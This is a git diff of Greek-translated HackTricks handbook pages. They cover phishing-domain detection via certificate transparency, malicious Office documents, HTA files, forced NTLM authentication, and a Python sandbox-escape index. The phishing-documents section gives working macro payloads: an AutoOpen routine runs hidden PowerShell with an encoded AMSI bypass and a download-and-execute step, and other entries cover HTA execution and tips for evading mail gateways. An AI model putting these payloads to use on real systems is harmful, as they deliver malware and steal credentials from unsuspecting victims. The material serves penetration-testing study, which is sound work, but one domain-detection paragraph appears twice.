Δεν είναι δυνατόν να ακολουθήσετε την προηγούμενη προσέγγιση "Brute-Force", αλλά είναι στην πραγματικότητα **δυνατό να αποκαλύψετε τέτοιες απόπειρες phishing** επίσης χάρη στη διαφάνεια πιστοποιητικών. Κάθε φορά που ένα πιστοποιητικό εκδίδεται από μια CA, οι λεπτομέρειες δημοσιοποιούνται. Αυτό σημαίνει ότι διαβάζοντας τη διαφάνεια πιστοποιητικών ή ακόμα και παρακολουθώντας την, είναι **δυνατό να βρείτε τομείς που χρησιμοποιούν μια λέξη-κλειδί μέσα στο όνομά τους**. Για παράδειγμα, αν ένας επιτιθέμενος δημιουργήσει ένα πιστοποιητικό για [https://paypal-financial.com](https://paypal-financial.com), βλέποντας το πιστοποιητικό είναι δυνατό να βρείτε τη λέξη-κλειδί "paypal" και να γνωρίζετε ότι χρησιμοποιείται ένα ύποπτο email.
Η ανάρτηση [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/) προτείνει ότι μπορείτε να χρησιμοποιήσετε το Censys για να αναζητήσετε πιστοποιητικά που επηρεάζουν μια συγκεκριμένη λέξη-κλειδί και να φιλτράρετε κατά ημερομηνία (μόνο "νέα" πιστοποιητικά) και από τον εκδότη CA "Let's Encrypt":
![https://0xpatrik.com/content/images/2018/07/cert\_listing.png](<../../.gitbook/assets/image (1115).png>)
Ωστόσο, μπορείτε να κάνετε "το ίδιο" χρησιμοποιώντας το δωρεάν web [**crt.sh**](https://crt.sh). Μπορείτε να **αναζητήσετε τη λέξη-κλειδί** και να **φιλτράρετε** τα αποτελέσματα **κατά ημερομηνία και CA** αν το επιθυμείτε.
![](<../../.gitbook/assets/image (519).png>)
Χρησιμοποιώντας αυτή την τελευταία επιλογή μπορείτε ακόμη και να χρησιμοποιήσετε το πεδίο Matching Identities για να δείτε αν κάποια ταυτότητα από τον πραγματικό τομέα ταιριάζει με κάποιο από τα ύποπτα domains (σημειώστε ότι ένα ύποπτο domain μπορεί να είναι ψευδώς θετικό).
**Μια άλλη εναλλακτική** είναι το φανταστικό έργο που ονομάζεται [**CertStream**](https://medium.com/cali-dog-security/introducing-certstream-3fc13bb98067). Το CertStream παρέχει μια ροή σε πραγματικό χρόνο νέων πιστοποιητικών που μπορείτε να χρησιμοποιήσετε για να ανιχνεύσετε καθορισμένες λέξεις-κλειδιά σε (σχεδόν) πραγματικό χρόνο. Στην πραγματικότητα, υπάρχει ένα έργο που ονομάζεται [**phishing\_catcher**](https://github.com/x0rz/phishing\_catcher) που κάνει ακριβώς αυτό.
### **Νέοι τομείς**
**Μία τελευταία εναλλακτική λύση** είναι να συγκεντρώσετε μια λίστα με **νεοεγγεγραμμένους τομείς** για ορισμένα TLDs ([Το Whoxy](https://www.whoxy.com/newly-registered-domains/) παρέχει τέτοια υπηρεσία) και **να ελέγξετε τις λέξεις-κλειδιά σε αυτούς τους τομείς**. Ωστόσο, οι μακροπρόθεσμοι τομείς συνήθως χρησιμοποιούν έναν ή περισσότερους υποτομείς, επομένως η λέξη-κλειδί δεν θα εμφανίζεται μέσα στον FLD και δεν θα μπορείτε να βρείτε τον φαινομενικό υποτομέα phishing.
**Μια τελευταία εναλλακτική** είναι να συγκεντρώσετε μια λίστα με **νέα καταχωρημένα domains** για ορισμένα TLDs ([Whoxy](https://www.whoxy.com/newly-registered-domains/) παρέχει τέτοια υπηρεσία) και να **ελέγξετε τις λέξεις-κλειδιά σε αυτούς τους τομείς**. Ωστόσο, οι μακροχρόνιοι τομείς συνήθως χρησιμοποιούν ένα ή περισσότερους υποτομείς, επομένως η λέξη-κλειδί δεν θα εμφανίζεται μέσα στο FLD και δεν θα μπορείτε να βρείτε τον υποτομέα phishing.
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,50 +1,53 @@
# Αρχεία και Έγγραφα Φισίνγκ
# Phishing Files & Documents
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Έγγραφα Γραφείου
## Office Documents
Το Microsoft Word πραγματοποιεί επικύρωση δεδομένων αρχείου πριν ανοίξει ένα αρχείο. Η επικύρωση δεδομένων πραγματοποιείται στη μορφή αναγνώρισης δομής δεδομένων, σύμφωνα με το πρότυπο OfficeOpenXML. Εάν συμβεί οποιοδήποτε σφάλμα κατά την αναγνώριση της δομής δεδομένων, το αρχείο που αναλύεται δεν θα ανοίξει.
Το Microsoft Word εκτελεί επικύρωση δεδομένων αρχείου πριν ανοίξει ένα αρχείο. Η επικύρωση δεδομένων εκτελείται με τη μορφή αναγνώρισης δομής δεδομένων, σύμφωνα με το πρότυπο OfficeOpenXML. Εάν προκύψει οποιοδήποτε σφάλμα κατά την αναγνώριση της δομής δεδομένων, το αρχείο που αναλύεται δεν θα ανοίξει.
Συνήθως, τα αρχεία Word που περιέχουν μακρόχρονες χρησιμοποιούν την επέκταση `.docm`. Ωστόσο, είναι δυνατό να μετονομάσετε το αρχείο αλλάζοντας την επέκταση του αρχείου και να διατηρήσετε τις δυνατότητες εκτέλεσης των μακρόχρονων.\
Για παράδειγμα, ένα αρχείο RTF δεν υποστηρίζει μακρόχρονες, κατά σχεδιασμό, αλλά ένα αρχείο DOCM που μετονομάζεται σε RTF θα χειριστείται από το Microsoft Word και θα είναι ικανό για εκτέλεση μακρόχρονων.\
Οι ίδιες εσωτερικές δομές και μηχανισμοί ισχύουν για όλο το λογισμικό της σουίτας Microsoft Office (Excel, PowerPoint κ.λπ.).
Συνήθως, τα αρχεία Word που περιέχουν μακροεντολές χρησιμοποιούν την επέκταση `.docm`. Ωστόσο, είναι δυνατόν να μετονομάσετε το αρχείο αλλάζοντας την επέκταση του αρχείου και να διατηρήσετε τις δυνατότητες εκτέλεσης μακροεντολών.\
Για παράδειγμα, ένα αρχείο RTF δεν υποστηρίζει μακροεντολές, εκ του σχεδιασμού, αλλά ένα αρχείο DOCM που μετονομάζεται σε RTF θα διαχειρίζεται από το Microsoft Word και θα είναι ικανό για εκτέλεση μακροεντολών.\
Οι ίδιες εσωτερικές διαδικασίες και μηχανισμοί ισχύουν για όλα τα λογισμικά της σουίτας Microsoft Office (Excel, PowerPoint κ.λπ.).
Μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή για να ελέγξετε ποιες επεκτάσεις θα εκτελεστούν από ορισμένα προγράμματα Office:
Μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή για να ελέγξετε ποιες επεκτάσεις θα εκτελούνται από ορισμένα προγράμματα Office:
```bash
assoc | findstr /i "word excel powerp"
```
Τα αρχεία DOCX που αναφέρονται σε απομακρυσμένο πρότυπο (Αρχείο - Επιλογές - Πρόσθετα - Διαχείριση: Πρότυπα - Πήγαινε) που περιλαμβάνει μακρό μπορούν επίσης να "εκτελέσουν" μακρό.
DOCX αρχεία που αναφέρονται σε ένα απομακρυσμένο πρότυπο (Αρχείο Επιλογές Προσθήκες Διαχείριση: Πρότυπα Μετάβαση) που περιλαμβάνει μακροεντολές μπορούν επίσης να “εκτελούν” μακροεντολές.
### Φόρτωση Εξωτερικής Εικόνας
Πηγαίνετε σε: _Εισαγωγή -> Γρήγορα Μέρη -> Πεδίο_\
_**Κατηγορίες**: Συνδέσμοι και Αναφορές, **Ονόματα πεδίων**: includePicture, και **Όνομα αρχείου ή URL**: http://\<ip>/whatever
Μεταβείτε: _Εισαγωγή --> Γρήγορα Μέρη --> Πεδίο_\
_**Κατηγορίες**: Σύνδεσμοι και Αναφορές, **Ονόματα πεδίων**: includePicture, και **Όνομα αρχείου ή URL**:_ http://\<ip>/whatever
![](<../../.gitbook/assets/image (316).png>)
![](<../../.gitbook/assets/image (155).png>)
### Παρασκήνιο Μακρό
### Μακροεντολές Πίσω Πόρτα
Είναι δυνατόν να χρησιμοποιηθούν μακρό για να εκτελέσουν αυθαίρετο κώδικα από το έγγραφο.
Είναι δυνατόν να χρησιμοποιηθούν μακροεντολές για να εκτελούν αυθαίρετο κώδικα από το έγγραφο.
#### Λειτουργίες Αυτόματης Φόρτωσης
#### Λειτουργίες Αυτοφόρτωσης
Όσο πιο κοινές είναι, τόσο πιο πιθανό είναι να τις ανιχνεύσει ο Αντιιικός Λογισμικός.
Όσο πιο κοινές είναι, τόσο πιο πιθανό είναι να τις ανιχνεύσει το AV.
* AutoOpen()
* Document\_Open()
#### Παραδείγματα Κώδικα Μακρό
#### Παραδείγματα Κώδικα Μακροεντολών
```vba
Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
@ -74,26 +77,26 @@ Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>
```
#### Χειροκίνητη αφαίρεση μεταδεδομένων
#### Manually remove metadata
Πηγαίνετε σε **Αρχείο > Πληροφορίες > Επιθεώρηση εγγράφου > Επιθεώρηση εγγράφου**, το οποίο θα εμφανίσει τον Επιθεωρητή Εγγράφου. Κάντε κλικ στο **Επιθεώρηση** και στη συνέχεια στο **Αφαίρεση όλων** δίπλα στις **Ιδιότητες εγγράφου και προσωπικές πληροφορίες**.
Πηγαίνετε στο **File > Info > Inspect Document > Inspect Document**, το οποίο θα φέρει τον Document Inspector. Κάντε κλικ στο **Inspect** και στη συνέχεια στο **Remove All** δίπλα από **Document Properties and Personal Information**.
#### Επέκταση αρχείου
#### Doc Extension
Όταν τελειώσετε, επιλέξτε την αναπτυσσόμενη λίστα **Αποθήκευση ως τύπος**, αλλάξτε τη μορφή από **`.docx`** σε **Word 97-2003 `.doc`**.\
Κάντε αυτό επειδή **δεν μπορείτε να αποθηκεύσετε μακροεντολές μέσα σε ένα `.docx`** και υπάρχει μια **στίγμα** γύρω από την επέκταση των μακροεντολών **`.docm`** (π.χ. το εικονίδιο μικρογραφίας έχει ένα τεράστιο `!` και ορισμένες πύλες ιστού/ηλεκτρονικού ταχυδρομείου τις αποκλείουν εντελώς). Επομένως, αυτή η **παλαιά επέκταση `.doc` είναι η καλύτερη συμβιβαστική λύση**.
Όταν τελειώσετε, επιλέξτε το αναπτυσσόμενο μενού **Save as type**, αλλάξτε τη μορφή από **`.docx`** σε **Word 97-2003 `.doc`**.\
Κάντε το αυτό γιατί **δεν μπορείτε να αποθηκεύσετε μακροεντολές μέσα σε ένα `.docx`** και υπάρχει ένα **στίγμα** **γύρω** από την μακροεντολή-ενεργοποιημένη **`.docm`** επέκταση (π.χ. το εικονίδιο μικρογραφίας έχει ένα τεράστιο `!` και ορισμένες πύλες ιστού/ηλεκτρονικού ταχυδρομείου τις μπλοκάρουν εντελώς). Επομένως, αυτή η **παλαιά επέκταση `.doc` είναι η καλύτερη συμβιβαστική λύση**.
#### Δημιουργοί κακόβουλων μακροεντολών
#### Malicious Macros Generators
* MacOS
* [**macphish**](https://github.com/cldrn/macphish)
* [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
## Αρχεία HTA
## HTA Files
Ένα αρχείο HTA είναι ένα πρόγραμμα των Windows που **συνδυάζει HTML και γλώσσες σεναρίου (όπως VBScript και JScript)**. Δημιουργεί τη διεπαφή χρήστη και εκτελείται ως μια "πλήρως αξιόπιστη" εφαρμογή, χωρίς τους περιορισμούς του μοντέλου ασφαλείας ενός προγράμματος περιήγησης.
Ένα HTA είναι ένα πρόγραμμα Windows που **συνδυάζει HTML και γλώσσες scripting (όπως VBScript και JScript)**. Δημιουργεί τη διεπαφή χρήστη και εκτελείται ως μια "πλήρως αξιόπιστη" εφαρμογή, χωρίς τους περιορισμούς του μοντέλου ασφάλειας ενός προγράμματος περιήγησης.
Ένα αρχείο HTA εκτελείται χρησιμοποιώντας το **`mshta.exe`**, το οποίο συνήθως **εγκαθίσταται** μαζί με το **Internet Explorer**, καθιστώντας το **`mshta` εξαρτημένο από το IE**. Έτσι, αν έχει απεγκατασταθεί, τα αρχεία HTA δεν θα μπορούν να εκτελεστούν.
Ένα HTA εκτελείται χρησιμοποιώντας **`mshta.exe`**, το οποίο είναι συνήθως **εγκατεστημένο** μαζί με **Internet Explorer**, καθιστώντας το **`mshta` εξαρτώμενο από το IE**. Έτσι, αν έχει απεγκατασταθεί, τα HTA δεν θα μπορούν να εκτελούνται.
```html
<--! Basic HTA Execution -->
<html>
@ -148,11 +151,11 @@ var_func
self.close
</script>
```
## Εξαναγκασμός Ταυτοποίησης NTLM
## Forcing NTLM Authentication
Υπάρχουν αρκετοί τρόποι για να **εξαναγκάσετε την ταυτοποίηση NTLM "απομακρυσμένα"**, για παράδειγμα, μπορείτε να προσθέσετε **αόρατες εικόνες** σε emails ή HTML που ο χρήστης θα αποκτήσει πρόσβαση (ακόμα και HTTP MitM;). Ή να στείλετε στο θύμα τη **διεύθυνση αρχείων** που θα **ενεργοποιήσει** μια **ταυτοποίηση** μόνο για το **άνοιγμα του φακέλου**.
Υπάρχουν αρκετοί τρόποι για να **αναγκάσετε την NTLM αυθεντικοποίηση "απομακρυσμένα"**, για παράδειγμα, θα μπορούσατε να προσθέσετε **αόρατες εικόνες** σε emails ή HTML που θα έχει πρόσβαση ο χρήστης (ακόμα και HTTP MitM;). Ή να στείλετε το θύμα τη **διεύθυνση αρχείων** που θα **ενεργοποιήσουν** μια **αυθεντικοποίηση** μόνο για **άνοιγμα του φακέλου.**
**Ελέγξτε αυτές τις ιδέες και περισσότερα στις παρακάτω σελίδες:**
**Ελέγξτε αυτές τις ιδέες και περισσότερες στις επόμενες σελίδες:**
{% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %}
[printers-spooler-service-abuse.md](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md)
@ -164,19 +167,22 @@ self.close
### NTLM Relay
Μην ξεχάσετε ότι μπορείτε όχι μόνο να κλέψετε το hash ή την ταυτοποίηση αλλά και να **εκτελέσετε επιθέσεις NTLM relay**:
Μην ξεχνάτε ότι δεν μπορείτε μόνο να κλέψετε το hash ή την αυθεντικοποίηση αλλά και να **εκτελέσετε επιθέσεις NTLM relay**:
* [**Επιθέσεις NTLM Relay**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
* [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
* [**AD CS ESC8 (NTLM relay σε πιστοποιητικά)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,53 +1,55 @@
# Απόδραση από το Python Sandbox & Pyscript
# Python Sandbox Escape & Pyscript
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τη βοήθεια των **πιο προηγμένων** εργαλείων της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=python" %}
**Ενδιαφέρουσες σελίδες για ελέγχους:**
**Ενδιαφέροντα σελίδες για να ελέγξετε:**
* [**Κόλπα χάκινγκ με το Pyscript**](pyscript.md)
* [**Αποσειριοποιήσεις Python**](../../pentesting-web/deserialization/#python)
* [**Κόλπα για παράκαμψη των Python αμμοθόλων**](bypass-python-sandboxes/)
* [**Βασική σύνταξη αιτημάτων ιστού σε Python**](web-requests.md)
* [**Βασική σύνταξη και βιβλιοθήκες Python**](basic-python.md)
* [**Pyscript hacking tricks**](pyscript.md)
* [**Python deserializations**](../../pentesting-web/deserialization/#python)
* [**Tricks to bypass python sandboxes**](bypass-python-sandboxes/)
* [**Basic python web requests syntax**](web-requests.md)
* [**Basic python syntax and libraries**](basic-python.md)
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τη βοήθεια των **πιο προηγμένων** εργαλείων της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=python" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
